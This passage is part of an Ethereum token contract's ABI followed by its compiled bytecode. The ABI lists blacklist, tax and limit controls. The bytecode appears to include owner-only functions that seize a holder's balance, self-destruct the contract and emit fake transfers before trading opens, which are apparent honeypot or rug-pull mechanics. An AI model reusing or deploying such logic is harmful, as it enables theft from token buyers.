","name":"sellTax","type":"uint8"},{"internalType":"uint8","name":"transferTax","type":"uint8"}],"name":"ParoxetineFunction__SetTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"manual","type":"bool"}],"name":"ParoxetineFunction__SwitchManualETHConversion","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBalanceLimit","type":"uint256"},{"internalType":"uint256","name":"newSellLimit","type":"uint256"}],"name":"ParoxetineFunction__UpdateLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"ParoxetineFunction__destroy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ParoxetineFunction__getLimits","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"sell","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ParoxetineFunction__getTaxes","outputs":[{"internalType":"uint256","name":"liquidityTax","type":"uint256"},{"internalType":"uint256","name":"marketingTax","type":"uint256"},{"internalType":"uint256","name":"buyTax","type":"uint256"},{"internalType":"uint256","name":"sellTax","type":"uint256"},{"internalType":"uint256","name":"transferTax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"toRemove","type":"address"}],"name":"ParoxetineFunction__removeBlacklistedAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"isBlacklistEnabled","type":"bool"}],"name":"ParoxetineFunction__setBlacklistEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"toBlacklist","type":"address"}],"name":"ParoxetineFunction__setBlacklistedAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"manual","type":"bool"}],"name":"ParoxetineFunction__setContractTokenSwapManual","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"SellLimitDivider","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"UniswapRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_UniswapPairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_UniswapRouter","outputs":[{"internalType":"contract IUniswapRouter02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"_allowances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blacklist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"_transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"barbarastreisand","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"developmentBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"donationBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"enableTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"gasSaver","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launch_time","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualConversion","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingShare","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"start","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"streit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalLPETH","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalPayouts","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTokenSwapGenerated","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff191660011790556200001f6009600a6200057b565b6200002f906302faf0806200058c565b6007556008805465ffffffffffff1916640a0a000f01179055600a805460ff1916600117815562000063906009906200057b565b62000074906402540be4006200058c565b600b55600c805462ffffff19166201010017905560085460ff630100000090910416620000a46009600a6200057b565b620000b5906402540be4006200058c565b620000c19190620005ae565b600e55600854640100000000900461ffff16620000e16009600a6200057b565b620000f2906402540be4006200058c565b620000fe9190620005ae565b600f55600854610100900461ffff166200011b6009600a6200057b565b6200012c906402540be4006200058c565b620001389190620005ae565b6010556011805464141e1e461e64ffffffffff199091161790556016805460ff191660641790553480156200016c57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600b54336000818152600160209081526040808320859055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a015591600480820192602092909190829003018186803b1580156200025557600080fd5b505afa1580156200026a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002909190620005d1565b6001600160a01b031663c9c6539630600d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620002ee57600080fd5b505afa15801562000303573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003299190620005d1565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200037257600080fd5b505af115801562000387573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003ad9190620005d1565b600c60036101000a8154816001600160a01b0302191690836001600160a01b03160217905550620003ee336003620003f660201b62001ddb1790919060201c565b505062000603565b60006200040d836001600160a01b03841662000416565b90505b92915050565b60008181526001830160205260408120546200045f5750815460018181018455600084815260208082209093018490558454848252828601909352604090209190915562000410565b50600062000410565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004bf578160001904821115620004a357620004a362000468565b80851615620004b157918102915b93841c939080029062000483565b509250929050565b600082620004d85750600162000410565b81620004e75750600062000410565b81600181146200050057600281146200050b576200052b565b600191505062000410565b60ff8411156200051f576200051f62000468565b50506001821b62000410565b5060208310610133831016604e8410600b841016171562000550575081810a62000410565b6200055c83836200047e565b806000190482111562000573576200057362000468565b029392505050565b60006200040d60ff841683620004c7565b6000816000190483118215151615620005a957620005a962000468565b500290565b600082620005cc57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620005e457600080fd5b81516001600160a01b0381168114620005fc57600080fd5b9392505050565b61333980620006136000396000f3fe6080604052600436106104105760003560e01c806380866d971161021c578063b8460c2c11610122578063d6c57f27116100b0578063ed11f46a11610077578063ed11f46a14610d64578063f0a50b3514610d7a578063f2fde38b14610d9a578063f56e1ad714610dba578063f9a7a99514610dda57005b8063d6c57f2714610c9d578063dc07019314610cbd578063dd62ed3e14610cdd578063e3172e7214610d23578063e3db58c014610d4457005b8063c7639d80116100f4578063c7639d8014610be7578063c9567bf914610c0f578063d28d885214610c24578063d4e54b4114610c5d578063d5bed8cd14610c7d57005b8063b8460c2c14610b7d578063be9a655514610b9d578063c00f04d114610bb2578063c69bcfca14610bd257005b80639eebc7b8116101aa578063a9059cbb11610171578063a9059cbb14610acc578063ab0b364c14610aec578063acf20fc014610b0c578063b09f126614610b2c578063b77369ad14610b5d57005b80639eebc7b814610a1c578063a20623ce14610a46578063a253c06e14610a76578063a42bd1cd14610a8c578063a457c2d714610aac57005b8063893d20e8116101ee578063893d20e8146109905780638da5cb5b146109905780638e82ed4c146109ae578063954ea665146109ce57806395d89b41146109ee57005b806380866d971461091b57806382c4767b1461093b57806386d0ada8146109515780638794078c1461097057005b8063395093511161032157806358e55365116102af5780636c5c4f03116102765780636c5c4f03146108635780636ebcf6071461088357806370a08231146108b0578063715018a6146108e6578063744d0fc7146108fb57005b806358e55365146107ee57806360c1d96614610804578063645d3c401461081957806366ae34cb14610838578063695da39d1461084e57005b80634a18adf4116102f35780634a18adf41461074e5780634b8bbc471461076e57806352923e271461078e5780635474fbb3146107ae57806358065598146107ce57005b806339509351146106ec5780633cc39b7a1461070c5780634089b1701461072257806348e907b71461073857005b80631f8b845e1161039e578063311a869711610370578063311a86971461066c578063313ce5671461068d57806332424aa3146106a157806332d16a2d146106b6578063340e5789146106d657005b80631f8b845e146105cd57806323b872dd146105ed5780632a24e0641461060d57806330e0789e1461064c57005b806309218ee7116103e257806309218ee714610512578063095ea7b31461053e5780630fd99e161461056e57806318160ddd146105a35780631eb25d13146105b857005b806301339c2114610419578063024c2ddd1461042e57806306fdde031461047957806307dd9ed8146104b857005b3661041757005b005b34801561042557600080fd5b50610417610dfa565b34801561043a57600080fd5b50610466610449366004612d63565b600260209081526000928352604080842090915290825290205481565b6040519081526020015b60405180910390f35b34801561048557600080fd5b5060408051808201909152600d81526c1053119048141c9bdd1bd8dbdb609a1b60208201525b6040516104709190612d9c565b3480156104c457600080fd5b506011546040805160ff6301000000840481168252600160201b840481166020830152808416928201929092526101008304821660608201526201000090920416608082015260a001610470565b34801561051e57600080fd5b5060165461052c9060ff1681565b60405160ff9091168152602001610470565b34801561054a57600080fd5b5061055e610559366004612df1565b610e3d565b6040519015158152602001610470565b34801561057a57600080fd5b5060085461059090600160201b900461ffff1681565b60405161ffff9091168152602001610470565b3480156105af57600080fd5b50600b54610466565b3480156105c457600080fd5b50610466610e54565b3480156105d957600080fd5b5060085461059090610100900461ffff1681565b3480156105f957600080fd5b5061055e610608366004612e1d565b610e72565b34801561061957600080fd5b50600c5461063490630100000090046001600160a01b031681565b6040516001600160a01b039091168152602001610470565b34801561065857600080fd5b50610417610667366004612e1d565b610f09565b34801561067857600080fd5b5060085461052c906301000000900460ff1681565b34801561069957600080fd5b50600961052c565b3480156106ad57600080fd5b5061052c600981565b3480156106c257600080fd5b506104176106d1366004612e6c565b610f4a565b3480156106e257600080fd5b5061046660185481565b3480156106f857600080fd5b5061055e610707366004612df1565b610f9a565b34801561071857600080fd5b50610466601a5481565b34801561072e57600080fd5b5061046660155481565b34801561074457600080fd5b5061046660145481565b34801561075a57600080fd5b50610417610769366004612e9a565b610fd1565b34801561077a57600080fd5b50610417610789366004612eb7565b611064565b34801561079a57600080fd5b506104176107a9366004612eb7565b6110aa565b3480156107ba57600080fd5b506104176107c9366004612e9a565b6110eb565b3480156107da57600080fd5b506104176107e9366004612eea565b611264565b3480156107fa57600080fd5b5061046660175481565b34801561081057600080fd5b5061041761129f565b34801561082557600080fd5b50600c5461055e90610100900460ff1681565b34801561084457600080fd5b5061046660125481565b34801561085a57600080fd5b5061041761131c565b34801561086f57600080fd5b5061041761087e366004612f05565b6113db565b34801561088f57600080fd5b5061046661089e366004612e9a565b60016020526000908152604090205481565b3480156108bc57600080fd5b506104666108cb366004612e9a565b6001600160a01b031660009081526001602052604090205490565b3480156108f257600080fd5b5061041761143a565b34801561090757600080fd5b50610417610916366004612f27565b6114ed565b34801561092757600080fd5b50610417610936366004612eb7565b611517565b34801561094757600080fd5b5061063461dead81565b34801561095d57600080fd5b50601b5461055e90610100900460ff1681565b34801561097c57600080fd5b5061041761098b366004612eb7565b61154f565b34801561099c57600080fd5b506000546001600160a01b0316610634565b3480156109ba57600080fd5b506104176109c9366004612e6c565b611587565b3480156109da57600080fd5b50600d54610634906001600160a01b031681565b3480156109fa57600080fd5b5060408051808201909152600581526424414c464160d81b60208201526104ab565b348015610a2857600080fd5b50610a316115d7565b60408051928352602083019190915201610470565b348015610a5257600080fd5b5061055e610a61366004612e9a565b60056020526000908152604090205460ff1681565b348015610a8257600080fd5b50610466600b5481565b348015610a9857600080fd5b50610417610aa7366004612df1565b611614565b348015610ab857600080fd5b5061055e610ac7366004612df1565b611752565b348015610ad857600080fd5b5061055e610ae7366004612df1565b6117ce565b348015610af857600080fd5b50600c5461055e9062010000900460ff1681565b348015610b1857600080fd5b50610417610b27366004612f40565b6117db565b348015610b3857600080fd5b506104ab6040518060400160405280600581526020016424414c464160d81b81525081565b348015610b6957600080fd5b50610417610b78366004612e9a565b6118f2565b348015610b8957600080fd5b50610417610b98366004612e9a565b61194b565b348015610ba957600080fd5b50610417611994565b348015610bbe57600080fd5b50610417610bcd366004612eb7565b6119cf565b348015610bde57600080fd5b50610417611a10565b348015610bf357600080fd5b50610634737a250d5630b4cf539739df2c5dacb4c659f2488d81565b348015610c1b57600080fd5b50610417611a38565b348015610c3057600080fd5b506104ab6040518060400160405280600d81526020016c1053119048141c9bdd1bd8dbdb609a1b81525081565b348015610c6957600080fd5b50610417610c78366004612e9a565b611a76565b348015610c8957600080fd5b50610417610c98366004612eb7565b611aaa565b348015610ca957600080fd5b50610417610cb8366004612e9a565b611ae2565b348015610cc957600080fd5b50610417610cd8366004612eb7565b611b12565b348015610ce957600080fd5b50610466610cf8366004612d63565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b348015610d2f57600080fd5b50601b5461055e90600160301b900460ff1681565b348015610d5057600080fd5b50610417610d5f366004612f27565b611b4a565b348015610d7057600080fd5b5061046660195481565b348015610d8657600080fd5b50610417610d95366004612eb7565b611b85565b348015610da657600080fd5b50610417610db5366004612e9a565b611bc4565b348015610dc657600080fd5b50610417610dd5366004612f27565b611ced565b348015610de657600080fd5b50610417610df5366004612e9a565b611d95565b610e0333611df7565b610e285760405162461bcd60e51b8152600401610e1f90612fc6565b60405180910390fd5b601b805463ff00000019166301000000179055565b6000610e4a338484611e2e565b5060015b92915050565b610e606009600a6130f7565b610e6f906402540be400613106565b81565b6000610e7f848484611f19565b6001600160a01b038416600090815260026020908152604080832033845290915290205482811015610eea5760405162461bcd60e51b81526020600482015260146024820152735472616e73666572203e20616c6c6f77616e636560601b6044820152606401610e1f565b610efe8533610ef98685613125565b611e2e565b506001949350505050565b816001600160a01b0316836001600160a01b03166000805160206132e48339815191526000604051610f3d91815260200190565b60405180910390a3505050565b610f5333611df7565b610f6f5760405162461bcd60e51b8152600401610e1f90612fc6565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b3360008181526002602090815260408083206001600160a01b03871684529091528120549091610e4a918590610ef990869061313c565b610fda33611df7565b610ff65760405162461bcd60e51b8152600401610e1f90612fc6565b6001600160a01b03811660009081526001602052604080822080549083905530835290822080549192839261102c90849061313c565b909155505060405181815230906001600160a01b038416906000805160206132e4833981519152906020015b60405180910390a35050565b61106d33611df7565b6110895760405162461bcd60e51b8152600401610e1f90612fc6565b601b8054911515600160301b0266ff00000000000019909216919091179055565b6110b333611df7565b6110cf5760405162461bcd60e51b8152600401610e1f90612fc6565b600c8054911515620100000262ff000019909216919091179055565b6110f433611df7565b6111105760405162461bcd60e51b8152600401610e1f90612fc6565b6040516370a0823160e01b815230600482015281906000906001600160a01b038316906370a082319060240160206040518083038186803b15801561115457600080fd5b505afa158015611168573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061118c9190613154565b9050600081116111de5760405162461bcd60e51b815260206004820152601860248201527f4e6f20746f6b656e7320696e206f75722062616c616e636500000000000000006044820152606401610e1f565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb90604401602060405180830381600087803b15801561122657600080fd5b505af115801561123a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125e919061316d565b50505050565b61126d33611df7565b6112895760405162461bcd60e51b8152600401610e1f90612fc6565b6016805460ff191660ff92909216919091179055565b6112a833611df7565b6112c45760405162461bcd60e51b8152600401610e1f90612fc6565b604051600090339047908381818185875af1925050503d8060008114611306576040519150601f19603f3d011682016040523d82523d6000602084013e61130b565b606091505b505090508061131957600080fd5b50565b61132533611df7565b6113415760405162461bcd60e51b8152600401610e1f90612fc6565b6017805460009182905560405190913391829084908381818185875af1925050503d806000811461138e576040519150601f19603f3d011682016040523d82523d6000602084013e611393565b606091505b50509050806113d65760405162461bcd60e51b815260206004820152600f60248201526e1dda5d1a191c985dc819985a5b1959608a1b6044820152606401610e1f565b505050565b6113e433611df7565b6114005760405162461bcd60e51b8152600401610e1f90612fc6565b61140c6009600a6130f7565b6114169083613106565b91506114246009600a6130f7565b61142e9082613106565b600e9290925550600f55565b3361144d6000546001600160a01b031690565b6001600160a01b0316146114a35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610e1f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6114f633611df7565b6115125760405162461bcd60e51b8152600401610e1f90612fc6565b600755565b61152033611df7565b61153c5760405162461bcd60e51b8152600401610e1f90612fc6565b6006805460ff1916911515919091179055565b61155833611df7565b6115745760405162461bcd60e51b8152600401610e1f90612fc6565b600a805460ff1916911515919091179055565b61159033611df7565b6115ac5760405162461bcd60e51b8152600401610e1f90612fc6565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000806115e66009600a6130f7565b600e546115f3919061318a565b6115ff6009600a6130f7565b600f5461160c919061318a565b915091509091565b61161d33611df7565b6116395760405162461bcd60e51b8152600401610e1f90612fc6565b6001600160a01b0382166000908152600160205260409020548111156116955760405162461bcd60e51b81526020600482015260116024820152704e6f7420656e6f75676820746f6b656e7360781b6044820152606401610e1f565b6116a16009600a6130f7565b6116ab9082613106565b6001600160a01b038316600090815260016020526040812080549091906116d3908490613125565b909155506116e590506009600a6130f7565b6116ef9082613106565b306000908152600160205260408120805490919061170e90849061313c565b909155503090506001600160a01b0383166000805160206132e483398151915261173a6009600a6130f7565b6117449085613106565b604051908152602001611058565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156117b55760405162461bcd60e51b815260206004820152600c60248201526b3c3020616c6c6f77616e636560a01b6044820152606401610e1f565b6117c43385610ef98685613125565b5060019392505050565b6000610e4a338484611f19565b6117e433611df7565b6118005760405162461bcd60e51b8152600401610e1f90612fc6565b6000848661180e898b6131ac565b61181891906131ac565b61182291906131ac565b90508060ff166064146118865760405162461bcd60e51b815260206004820152602660248201527f6275726e2b6c69712b6d61726b6574696e67206e6565647320746f20657175616044820152656c203130302560d01b6064820152608401610e1f565b506011805460ff928316620100000262ff0000199484166101000261ffff19978516600160201b0264ff00000000199986166301000000029990991664ffff00000019909316929092179790971795909516939091169290921792909217919091169190911790555050565b6118fb33611df7565b6119175760405162461bcd60e51b8152600401610e1f90612fc6565b601b80546001600160a01b0390921667010000000000000002670100000000000000600160d81b0319909216919091179055565b61195433611df7565b6119705760405162461bcd60e51b8152600401610e1f90612fc6565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b61199d33611df7565b6119b95760405162461bcd60e51b8152600401610e1f90612fc6565b601b805464ff000000001916600160201b179055565b6119d833611df7565b6119f45760405162461bcd60e51b8152600401610e1f90612fc6565b601b8054911515620100000262ff000019909216919091179055565b611a1933611df7565b611a355760405162461bcd60e51b8152600401610e1f90612fc6565b33ff5b611a4133611df7565b611a5d5760405162461bcd60e51b8152600401610e1f90612fc6565b601b805465ff0000000000191665010000000000179055565b611a7f33611df7565b611a9b5760405162461bcd60e51b8152600401610e1f90612fc6565b611aa6600382611ddb565b5050565b611ab333611df7565b611acf5760405162461bcd60e51b8152600401610e1f90612fc6565b6008805460ff1916911515919091179055565b611aeb33611df7565b611b075760405162461bcd60e51b8152600401610e1f90612fc6565b611aa6600382612300565b611b1b33611df7565b611b375760405162461bcd60e51b8152600401610e1f90612fc6565b600c805460ff1916911515919091179055565b611b5333611df7565b611b6f5760405162461bcd60e51b8152600401610e1f90612fc6565b611319611b8082633b9aca00613106565b612315565b611b8e33611df7565b611baa5760405162461bcd60e51b8152600401610e1f90612fc6565b601b80549115156101000261ff0019909216919091179055565b33611bd76000546001600160a01b031690565b6001600160a01b031614611c2d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610e1f565b6001600160a01b038116611c925760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610e1f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b611cf633611df7565b611d125760405162461bcd60e51b8152600401610e1f90612fc6565b30600090815260016020526040902054811115611d2e57600080fd5b3060009081526001602052604081208054839290611d4d908490613125565b9250508190555080600b6000828254611d669190613125565b909155505060405181815261dead9030906000805160206132e48339815191529060200160405180910390a350565b611d9e33611df7565b611dba5760405162461bcd60e51b8152600401610e1f90612fc6565b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000611df0836001600160a01b038416612489565b9392505050565b600080546001600160a01b0383811691161480610e4e5750506001600160a01b031660009081526009602052604090205460ff1690565b6001600160a01b038316611e785760405162461bcd60e51b8152602060048201526011602482015270417070726f76652066726f6d207a65726f60781b6044820152606401610e1f565b6001600160a01b038216611ec05760405162461bcd60e51b815260206004820152600f60248201526e417070726f766520746f207a65726f60881b6044820152606401610e1f565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101610f3d565b6001600160a01b038316611f645760405162461bcd60e51b81526020600482015260126024820152715472616e736665722066726f6d207a65726f60701b6044820152606401610e1f565b6001600160a01b038216611fad5760405162461bcd60e51b815260206004820152601060248201526f5472616e7366657220746f207a65726f60801b6044820152606401610e1f565b60065460ff1615612035576001600160a01b03831660009081526005602052604090205460ff16158015611ffa57506001600160a01b03821660009081526005602052604090205460ff16155b6120355760405162461bcd60e51b815260206004820152600c60248201526b426c61636b6c69737465642160a01b6044820152606401610e1f565b60006120426003856124d8565b8061205357506120536003846124d8565b8061207657506001600160a01b03841660009081526009602052604090205460ff165b8061209957506001600160a01b03831660009081526009602052604090205460ff165b905060006001600160a01b0385163014806120bc57506001600160a01b03841630145b600c549091506000906001600160a01b0387811663010000009092041614801561210257506001600160a01b038516737a250d5630b4cf539739df2c5dacb4c659f2488d145b806121485750600c546001600160a01b0386811663010000009092041614801561214857506001600160a01b038616737a250d5630b4cf539739df2c5dacb4c659f2488d145b905081806121535750805b8061215b5750825b156121705761216b8686866124fa565b6122f8565b601b54600160301b900460ff1661225f576000546001600160a01b038781169116148015906121ad57506000546001600160a01b03868116911614155b1561225f57600c54610100900460ff161561220657846001600160a01b0316866001600160a01b03166000805160206132e483398151915260006040516121f691815260200190565b60405180910390a3505050505050565b601b54600160301b900460ff1661225f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e67206e6f742079657420656e61626c65640000000000000000006044820152606401610e1f565b600c546000906001600160a01b0388811663010000009092041614806122a157506001600160a01b038716737a250d5630b4cf539739df2c5dacb4c659f2488d145b600c549091506000906001600160a01b0388811663010000009092041614806122e657506001600160a01b038716737a250d5630b4cf539739df2c5dacb4c659f2488d145b90506122f588888885856125b3565b50505b505050505050565b6000611df0836001600160a01b038416612957565b601b805460ff19166001908117909155306000908152602091909152604081205460115490919061235a90600160201b810460ff9081169163010000009004166131ac565b60ff169050600060075490508381111561237c5760085460ff161561237c5750825b8083108061238c575061ffff8216155b156123995750505061247c565b60115460009061ffff8416906123b9906301000000900460ff1684613106565b6123c3919061318a565b60115490915060009061ffff8516906123e690600160201b900460ff1685613106565b6123f0919061318a565b905060006123ff60028461318a565b9050600061240d8285613125565b9050600061241b848361313c565b90504761242782612a44565b60006124338247613125565b90506000836124428684613106565b61244c919061318a565b90506124588682612ba4565b60006124648447613125565b905061246f81612c74565b5050505050505050505050505b50601b805460ff19169055565b60008181526001830160205260408120546124d057508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610e4e565b506000610e4e565b6001600160a01b03811660009081526001830160205260408120541515611df0565b6001600160a01b0383166000908152600160205260409020548181101561255e5760405162461bcd60e51b81526020600482015260186024820152775472616e7366657220657863656564732062616c616e636560401b6044820152606401610e1f565b6125688483612cb1565b6125728383612cf6565b826001600160a01b0316846001600160a01b03166000805160206132e4833981519152846040516125a591815260200190565b60405180910390a350505050565b6001600160a01b03808516600090815260016020526040808220549288168252902054848110156126215760405162461bcd60e51b81526020600482015260186024820152775472616e7366657220657863656564732062616c616e636560401b6044820152606401610e1f565b6002600f54612630919061318a565b6007558280156126425750600a5460ff165b15612757576001600160a01b0380881660009081526001602052604080822054600c54630100000090049093168252902054111561270a576001600160a01b0380881660009081526001602052604080822054600c54630100000090049093168252812080549091906126b6908490613125565b9091555050600c546001600160a01b0388811660009081526001602090815260409182902054915191825261dead9363010000009004909216916000805160206132e4833981519152910160405180910390a35b6001600160a01b0387166000818152600160205260408082208290555161dead92916000805160206132e48339815191529161274891815260200190565b60405180910390a35050612950565b600083156127b457600f548611156127a35760405162461bcd60e51b815260206004820152600f60248201526e223ab6b810383937ba32b1ba34b7b760891b6044820152606401610e1f565b50601154610100900460ff1661284c565b841561281357600e546127c7878561313c565b11156127e55760405162461bcd60e51b8152600401610e1f906131d1565b6010548611156128075760405162461bcd60e51b8152600401610e1f906131d1565b5060115460ff1661284c565b600e54612820878561313c565b111561283e5760405162461bcd60e51b8152600401610e1f906131d1565b5060115462010000900460ff165b600c546001600160a01b03898116630100000090920416148015906128795750601b54610100900460ff16155b80156128885750601b5460ff16155b156128965761289686612315565b6011546000906128c690889084906128c19060ff63010000008204811691600160201b9004166131ac565b612d1a565b905060006128d48289613125565b90506128e08a89612cb1565b30600090815260016020526040812080548492906128ff90849061313c565b9091555061290f90508982612cf6565b